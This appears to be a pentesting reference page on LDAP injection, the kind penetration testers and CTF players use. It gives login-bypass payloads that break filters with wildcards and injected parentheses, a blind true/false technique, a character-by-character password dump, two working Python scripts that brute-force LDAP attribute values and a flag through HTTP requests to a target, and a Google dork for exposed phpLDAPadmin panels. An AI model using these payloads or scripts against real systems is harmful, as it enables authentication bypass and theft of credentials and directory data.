LDAP Injection

LDAP
If you want to know what is LDAP access the following page:
389, 636, 3268, 3269 - Pentesting LDAP
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
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Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Absolute TRUE
(|) = Absolute FALSE
For example:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
You can access to the database, and this can content information of a lot of different types.
OpenLDAP: If 2 filters arrive, only executes the first one.
ADAM or Microsoft LDS: With 2 filters they throw an error.
SunOne Directory Server 5.0: Execute both filters.
It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.
The filter has to start with: & or |
Example: (&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
Then: (&(objectClass=*)(ObjectClass=*)) will be the first filter (the one executed).
Login Bypass
LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.
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user=*
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password=*
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--> (&(user=*)(password=*))
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# The asterisks are great in LDAPi
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user=*)(&
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password=*)(&
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--> (&(user=*)(&)(password=*)(&))
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user=*)(|(&
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pass=pwd)
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--> (&(user=*)(|(&)(pass=pwd))
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user=*)(|(password=*
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password=test)
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--> (&(user=*)(|(password=*)(password=test))
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user=*))%00
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pass=any
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--> (&(user=*))%00 --> Nothing more is executed
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user=admin)(&)
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password=pwd
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--> (&(user=admin)(&))(password=pwd) #Can through an error
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username = admin)(!(&(|
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pass = any))
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--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
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username=*
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password=*)(&
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--> (&(user=*)(password=*)(&))
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username=admin))(|(|
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password=any
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--> (&(uid=admin)) (| (|) (webpassword=any))
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Lists
​LDAP_FUZZ​
​LDAP Attributes​
​LDAP PosixAccount attributes​
Blind LDAP Injection
You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:
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#This will result on True, so some information will be shown
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Payload: *)(objectClass=*))(&objectClass=void
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Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
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#This will result on True, so no information will be returned or shown
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Payload: void)(objectClass=void))(&objectClass=void
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Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
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Dump data
You can iterate over the ascii letters, digits and symbols:
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(&(sn=administrator)(password=*))    : OK
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(&(sn=administrator)(password=A*))   : KO
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(&(sn=administrator)(password=B*))   : KO
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...
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(&(sn=administrator)(password=M*))   : OK
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(&(sn=administrator)(password=MA*))  : KO
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(&(sn=administrator)(password=MB*))  : KO
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...
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Scripts
Discover valid LDAP fields
LDAP objects contains by default several attributes that could be used to save information. You can try to brute-force all of them to extract that info. You can find a list of default LDAP attributes here.
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#!/usr/bin/python3
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import requests
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import string
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from time import sleep
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import sys
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​
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proxy = { "http": "localhost:8080" }
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url = "http://10.10.10.10/login.php"
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alphabet = string.ascii_letters + string.digits + "[email protected]{}-/()!\"$%=^[]:;"
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​
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attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
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​
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for attribute in attributes: #Extract all attributes
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    value = ""
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    finish = False
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    while not finish:
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        for char in alphabet: #In each possition test each possible printable char
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            query = f"*)({attribute}={value}{char}*"
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            data = {'login':query, 'password':'bla'}
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            r = requests.post(url, data=data, proxies=proxy)
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            sys.stdout.write(f"\r{attribute}: {value}{char}")
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            #sleep(0.5) #Avoid brute-force bans
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            if "Cannot login" in r.text:
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                value += str(char)
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                break
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​
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            if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
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                finish = True
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                print()
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Special Blind LDAP Injection (without "*")
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#!/usr/bin/python3
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​
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import requests, string
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alphabet = string.ascii_letters + string.digits + "[email protected]{}-/()!\"$%=^[]:;"
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​
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flag = ""
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for i in range(50):
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    print("[i] Looking for number " + str(i))
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    for char in alphabet:
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        r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
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        if ("TRUE CONDITION" in r.text):
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            flag += char
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            print("[+] Flag: " + flag)
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            break
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Google Dorks
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intitle:"phpLDAPadmin" inurl:cmd.php
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More Payloads
​https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection​

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Contents

Discover valid LDAP fields

Special Blind LDAP Injection (without "*")

Google Dorks

More Payloads